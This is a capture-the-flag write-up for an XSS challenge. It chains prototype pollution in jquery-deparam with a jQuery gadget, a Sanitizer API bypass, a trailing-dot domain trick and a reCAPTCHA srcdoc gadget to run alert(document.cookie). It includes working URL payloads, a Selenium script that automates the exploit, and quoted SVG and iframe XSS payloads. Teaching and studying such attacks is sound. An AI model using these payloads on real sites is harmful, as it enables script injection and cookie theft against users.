- Category: Web
- Impact: Medium
- Solves: ~50
Find a way to execute arbitrary javascript code on the challenge page.
The solution:
- Should require no user interaction.
- Should execute
alert(document.cookie)
. - Should work on the latest version of Chrome (or Firefox).
- Should leverage a cross site scripting vulnerability on this domain.
- Shouldn't be self-XSS or related to Man-in-the-middle.
So this month, we have at our disposal a web page that lets us write anything in an input
tag and once clicked on the Submit
button will be displayed in a modal
alert.
The aim is to display an alert(document.cookie)
with the text Flag=flag{XSS}
defined in it (knowing that there isn't any Content Security Policy in place).
Henceforth, with our best motivational playlist music, let's go to the index.html
page to start our research where we will explore simple and more complex solutions on Chrome
and Firefox
browsers:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="./static/tailwind.min.css" rel="stylesheet">
<script src="./static/jquery-2.2.4.js"></script>
<script src="./static/jquery-deparam.js"></script>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background: url("./static/pattern.svg") #E7E8F0;
background-size: 200px;
background-position: center center;
color: #333;
text-align: center;
font-family: 'Poppins', sans-serif;
margin: 0;
padding: 20px 0 0;
}
.input-container {
display: flex;
flex-direction: column;
align-items: center;
}
.input-container input {
margin-bottom: 8px;
}
/* Modal styles */
.modal {
position: fixed;
top: 0;
left: 0;
z-index: 9999;
display: none;
justify-content: center;
align-items: center;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
}
.modal-content {
background-color: #fff;
border-radius: 8px;
padding: 20px;
max-width: 400px;
text-align: center;
}
</style>
<title>XSS</title>
<script defer>
document.cookie = 'Flag=flag{XSS};secure' // alert the document.cookie to win the game
// recaptcha is still under development; soon it will be implemented on the live site
if (document.domain === 'challenge-0623.intigriti.io') {
window.recaptcha = false
}
if (document.domain === 'localhost') {
window.recaptcha = true
}
window.name = null;
window.params = $.deparam(location.search.slice(1))
function handleSubmit() {
const nameInput = document.getElementById('nameInput');
const name = nameInput.value;
const url = `?name=${encodeURIComponent(name)}`;
window.location.href = url;
}
// Function to close the modal
function closeModal() {
const modal = document.getElementById('modal');
modal.style.display = 'none';
}
window.addEventListener('DOMContentLoaded', () => {
name = window.params.name;
if (name && name !== 'undefined' && name !== undefined) {
const modal = document.getElementById('modal');
modal.style.display = 'flex';
const modalContent = document.getElementById('modalContent');
// recaptcha is still under development
if (window.recaptcha) {
const script = document.createElement('script');
script.src = 'https://www.google.com/recaptcha/api.js';
script.async = true;
script.defer = true;
document.head.appendChild(script);
}
try {
modalContent.setHTML(name + " 👋", {sanitizer: new Sanitizer({})}); // no XSS
} catch {
modalContent.textContent = name + " 👋";
}
}
});
</script>
</head>
<body>
<div class="container mx-auto py-10">
<h1 class="text-3xl font-semibold mb-4">Hey 👋</h1>
<div class="input-container">
<input id="nameInput" type="text" placeholder="Enter your name"
class="px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:border-blue-500">
<button id="submitBtn" onclick="handleSubmit()"
class="ml-4 px-4 py-2 bg-blue-500 text-white font-semibold rounded-lg shadow hover:bg-blue-600">Submit</button>
</div>
</div>
<!-- Modal -->
<div id="modal" class="modal">
<div class="modal-content">
<h2 class="text-xl font-semibold mb-4">Welcome!</h2>
<p id="modalContent" class="text-lg">Heckur</p>
<button onclick="closeModal()"
class="mt-6 px-4 py-2 bg-blue-500 text-white font-semibold rounded-lg shadow hover:bg-blue-600">Close</button>
</div>
</div>
</body>
</html>
Right from the start we could notice an old 2.2.4
version of jquery
used in script
tag, next to the jquery-deparam
package that is fairly known for its prototype pollution
attack vectors.
The prototype pollution is a vulnerability which could add arbitrary properties to global object prototypes and may then be inherited by user-defined objects.
There are some bugs in this challenge, so we need to find and chain them together to get the alert.
We will focus on the <script defer>
element for the rest of the operations, since the rest could be unintended.
The defer
attribute indicate that the script
is meant to be executed after the document
has been parsed, but before firing DOMContentLoaded
.
<script defer>
document.cookie = 'Flag=flag{XSS};secure';
if (document.domain === 'challenge-0623.intigriti.io') { // There is a `dot` trick here
window.recaptcha = false;
}
if (document.domain === 'localhost') {
window.recaptcha = true; // Could change domain names to test locally with `python -m http.server 8000` command in a terminal
}
window.name = null; // Clearing any previously set window `name` here
window.params = $.deparam(location.search.slice(1)); // Possible prototype pollution
function handleSubmit() { // Function to set the new location
const nameInput = document.getElementById('nameInput');
const name = nameInput.value;
const url = `?name=${encodeURIComponent(name)}`;
window.location.href = url;
}
function closeModal() { // Function to close the modal
const modal = document.getElementById('modal');
modal.style.display = 'none';
}
window.addEventListener('DOMContentLoaded', () => {
/* This event fires when the document has been completely parsed and all deferred scripts have downloaded/executed */
name = window.params.name; // Practical
if (name && name !== 'undefined' && name !== undefined) {
const modal = document.getElementById('modal');
modal.style.display = 'flex';
const modalContent = document.getElementById('modalContent'); // recaptcha is still under development
if (window.recaptcha) { // The `if` condition is valid when `recaptcha` variable exists
const script = document.createElement('script');
script.src = 'https://www.google.com/recaptcha/api.js';
script.async = true; script.defer = true;
document.head.appendChild(script); // Same as last month's XSS challenge
}
try {
modalContent.setHTML(name + " 👋", {sanitizer: new Sanitizer({})}); // no XSS, or is there?
} catch { modalContent.textContent = name + " 👋"; }
}
});
</script>
The setHTML()
method is used to parse and sanitize a string of HTML and then insert it into the DOM as a subtree of the element.
For the HTML sanitizer
part, we can check that the configuration is set to the default one, therefore we can't perform XSS
directly unless we find zero-day (unknown vulnerability) bypass:
> new Sanitizer({}).getConfiguration();
{allowAttributes: {defer: ['*'], form: ['*'], id: ['*'], ...}, allowCustomElements: false,
allowElements: ['h2', 'style', 'form', ...], allowUnknownMarkup: false}
We quibble a bit with the input
tag and quickly view that there is some DOM clobbering
.
To put it simply, it is a technique in which we inject HTML into a page to manipulate the Document Object Model.
If we try the payload <form name=xss>
we can find it exists in the window
object!
> window.xss
<form name="xss"> 👋</form>
We realize that we can't add <img>
, <form>
, <embed>
, <dialog>
, ... compromised tags as easily as that.
By re-reading the web page source code and testing in the URL
of the challenge, we see that we do have some pollution.
As with the URL index.html?__proto__[name]=xss
(like index.html?name=xss
) it shows as:
> Object.prototype.name
'xss'
Doing some online research reveals a wealth of cases on prototype pollution subject, we could then try the first jquery gadget proof-of-concept we come across:
<script>
Object.prototype.preventDefault='x';
Object.prototype.handleObj='x';
Object.prototype.delegateTarget='<img/src/onerror=alert(document.cookie)>';
$(document).off('foobar'); // No extra code needed for jQuery 2
</script>
The $(x).off
code removes the event handler and after that makes the alert pops (due to jquery
and deparam
presence) in this piece of code, which is responsible of the gadget:
off: function(types, selector, fn) {
var handleObj, type;
if (types && types.preventDefault && types.handleObj) {
handleObj = types.handleObj;
jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
return this;
} // ...
}
What's interesting here is that the payload works on both Chrome
and Firefox
browsers.
We can automate the attack process with a nice Python
script:
def xss(driver:object, url:str, poc:str) -> None:
driver.get(url + poc) # Go to the specific page
alert = driver.switch_to.alert # Retrieves the text of the alert box
if "Flag=flag{XSS}" in alert.text: print(alert.text) # Shows the text of the cookie
driver.quit() # Close the web browser
url = "https://challenge-0623.intigriti.io/challenge/index.html" # "http://localhost:8000/challenge/index.html"
poc = "?__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=<img/src/onerror%3Dalert(document.cookie)>"
try:
xss(__import__("selenium.webdriver").webdriver.Firefox(), url, poc) # To run a pre-installed Firefox web browser within Selenium
xss(__import__("selenium.webdriver").webdriver.Chrome(), url, poc) # To run a pre-installed Chrome web browser within Selenium
except Exception as err:
print(err); pass
And voilà!
According to the context that we should execute alert(document.cookie) on the latest Chrome and assuming we haven't seen BlackFan's gadgets on Github,
we could always continue our research based on the comment in the page source code indicating that recaptcha is still under development
instead.
When we also look around at the Write-Up of Aszx87410, we can see an interesting thing about reCaptcha
usage:
The challenge uses Google reCAPTCHA and from their documentations we know that we can trigger a function call by injecting the following HTML:
<div
class="g-recaptcha"
data-sitekey="AAA"
data-error-callback="any_function_here"
data-size="invisible">
</div>
Therefore, we ask ourself (or to some chatGPT) if we could potentially add that div
element with the g-recaptcha
class, in some ways or variants?
Since we have good memory, we remember that we could bypass the HTML sanitizer with prototype pollution to allow us to get this so-called injection.
Notice that the data-sitekey
attribute is filtered after all and that you need to allow
JavaScript
dependencies to run (on slow connection too), as some plugins may block them.
index.html?name=<div/class=g-recaptcha data-sitekey=0>
Don't forget to URL encode (with CyberChef) the characters in our payload:
index.html?name=<div/class%3Dg-recaptcha%20data-sitekey%3D0>
> modalContent
<p id="modalContent" class="text-lg">
<div class="g-recaptcha"> 👋</div>
</p>
Reading other articles to overcome this filtering problem, we come across the PortSwigger blog who discusses about this bug issue:
Client-side prototype pollution seems to me a more common issues that we might have previously assumed (check: https://blog.s1r1us.ninja/research/PP).
I decided to check whether prototype pollution can be abused to bypass Sanitizer API. Turns out it can!
Here's a proof of concept:
<!doctype html>
<script>
Object.prototype.allowElements = ['svg:svg','svg:use']; // We're simulating prototype pollution here
</script>
<body>
<script>
const s = new Sanitizer({}); // We assume that this is the original JavaScript of a website
const sanitized = s.sanitizeFor("div",`<svg><use href="data:image/svg%2Bxml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8%2BCjwvc3ZnPg#x"/></svg>`);
document.body.replaceChildren(sanitized); // alert executes!
</script>
Please note that the issue doesn't happen if no parameter is passed to the constructor (that is: "new Sanitizer()").
However, when the configuration object is passed to the constructor (as in: "new Sanitizer({})") then the prototype chain is traversed, and it can affect the sanitization.
In the proof-of-concept I'm adding <svg> and <use> to list of allowed elements and execute my own javascript.
And according to the documentation on the Sanitizer
here:
The Sanitizer's configuration dictionary is a dictionary which describes modifications to the sanitize operation.
If a Sanitizer has not received an explicit config, for example when being constructed without any parameters, then the default config value is used as the configuration dictionary.
dictionary SanitizerConfig {
sequence<DOMString> allowElements;
sequence<DOMString> blockElements;
sequence<DOMString> dropElements;
AttributeMatchList allowAttributes;
AttributeMatchList dropAttributes;
boolean allowCustomElements;
boolean allowUnknownMarkup;
boolean allowComments;
};
Note that if we change the default configuration of the sanitizer
, we'll have to modify everything else accordingly.
- allowElements element allow list is a sequence of strings with elements that the sanitizer should retain in the input;
- allowAttributes attribute allow list is an attribute match list, which determines whether an attribute (on a given element) should be allowed;
- allowUnknownMarkup allow unknown markup option determines whether unknown HTML elements are to be considered. The default is to drop them.
We hasten to try it in the index
page with some tweaking to:
- allow the
div
element, with__proto__[allowElements][0]=div
code; - allow the
class
(ofg-recaptcha
) ondiv
, with__proto__[allowAttributes][class][0]=div
code set todiv
(or*
character); - allow the
data-sitekey
attribute, with__proto__[allowAttributes][data-sitekey][]=div
code set todiv
(or*
character); - avoid errors like
Missing required parameters: sitekey
, with__proto__[allowUnknownMarkup]=0
code set to zero (or anything else).
We do have the div
class interpreted but for the rest to work, the recaptcha
variable should not be initialized whatsoever.
Adding the dot to the end of the domain name makes it an absolute fully-qualified domain name instead of just a regular fully-qualified domain name, and most browsers treat absolute domain names as being a different domain from the equivalent regular domain name.
We can then block the initialization of recaptcha
variable with a dot
at the end of our URL domain as challenge-0623.intigriti.io.
(or localhost.
) indeed!
> document.domain;
'challenge-0623.intigriti.io.'
if (document.domain === 'challenge-0623.intigriti.io') {
window.recaptcha = false;
}
> window.recaptcha;
undefined
Then we will use __proto__[recaptcha]
for the appendChild
method (that adds a node to the end of the list of children of a specified parent node) to be performed!
We are then delighted to see an additional div
element (next to the reCAPTCHA
iframe) being loaded, followed by an empty iframe
element:
<p id="modalContent" class="text-lg">
<div style="width: 304px; height: 78px;">
<div>
<iframe title="reCAPTCHA" src="https://www.google.com/recaptcha/api2/anchor?ar=1&k=0&co=..&hl=en&v=..&size=normal&recaptcha=1&allowElements=div&allowAttributes=%5Bobject%20Object%5D&allowUnknownMarkup=0&cb=.." width="304" height="78" role="presentation" name="a-.." frameborder="0" scrolling="no" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox"></iframe>
</div>
<textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response" style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
</div>
<iframe style="display: none;">
<html>
<head></head>
<body></body>
</html>
</iframe>
</p>
We're again dealing with ERROR for site owner: Invalid site key
for the moment but we can see that our parameters (allowElements=div
, allowUnknownMarkup=0
, etc.) are well supplied in the https://www.google.com/recaptcha/api2/anchor
url of reCAPTCHA iframe
.
Digging into Terjanq's blog and one of the websec
HackTricks/PayloadsAllTheThings bibles,
we're thinking of adding a src
(or else) attribute to see what it does to achieve our alert goals:
From the documentation, we can read that api.js file allows three parameters to be provided:
Parameter Value Description
- onload Optional. The name of your callback function to be executed once all the dependencies have loaded;
- render Explicit onload Optional. Whether to render the widget explicitly. Defaults to onload, which will render the widget in the first g-recaptcha tag it finds;
- hl See language codes Optional. Forces the widget to render in a specific language. Auto-detects the user’s language if unspecified.
When visiting the "https://www.google.com/recaptcha/api.js?render=explicit" URL.
Iframes in XSS
There are 3 ways to indicate the content of an iframed page:
- Via src indicating an URL (the URL may be cross origin or same origin);
- Via src indicating the content using the data: protocol;
- Via srcdoc indicating the content.
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
XSS in SVG (short)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
We therefore add the src
attribute (of the svg
test case from the previous Chromium
bug issue read) with few adjustments but causing at best the something went wrong
or error response
(other than trusted-types) problems.
So we need to get the sanitizer
as:
> new Sanitizer({}).getConfiguration()
{allowAttributes: {class: ['div'], data-sitekey: ['div']}, allowElements: ['div'], allowUnknownMarkup: true}
You may encounter some errors such as Failed to read the 'cookie' property from 'Document': Cookies are disabled inside 'data:' URLs."
so in this case,
just use the good old payload <script>alert(document.cookie)</script>
to avoid it, but do not hesitate to report any mistakes.
We then try __proto__[srcdoc]
on Chrome and the code loads nicely as our final solution:
Because an iframe
which has both allow-scripts and allow-same-origin for its sandbox attribute can escape its sandboxing, without going into too much detail since it's redundant with other solutions, we could take a look at this CSPlite
article:
Content Security Policy to protect from client side prototype pollution XSS attack
CSP-headers:
Content-Security-Policy: frame-src www.google.com/recaptcha/; script-src 'unsafe-inline' www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; report-uri /tst/csp.php?hash=221ebced0c9135106a77457699ac3242
Test HTML code:
<script src="//www.google.com/recaptcha/api.js?render=6LfalNcZAAAAAAse0ViYcBmcnq9kt_2MMsmazL4k"></script>
<script>
Object.prototype.srcdoc=["<script data-nononce>alert(1)<\/script>"];
</script>
So we use the render
parameter (as in the Terjanq's blog), a dot
in the end of the domain name, some URL
encoding, a non-empty name
variable and the srcdoc
attribute to make it work properly:
Improved approaches can help avoid this kind of problems, such as:
- don't drinking too much
Club-Mate
; - updating dependencies regularly;
- using modern technologies, frequently audited;
- setting up sanitizer (configuration) correctly;
- taking into account the risks of prototype pollution;
- performing integrity checking with some monitoring;
- setting up non-permissive Content Security Policy (added layer of security that helps to detect and mitigate cross-site scripting).
It was a very fun challenge that gives us good situational reminders, thanks to @0xGodson_ ideas!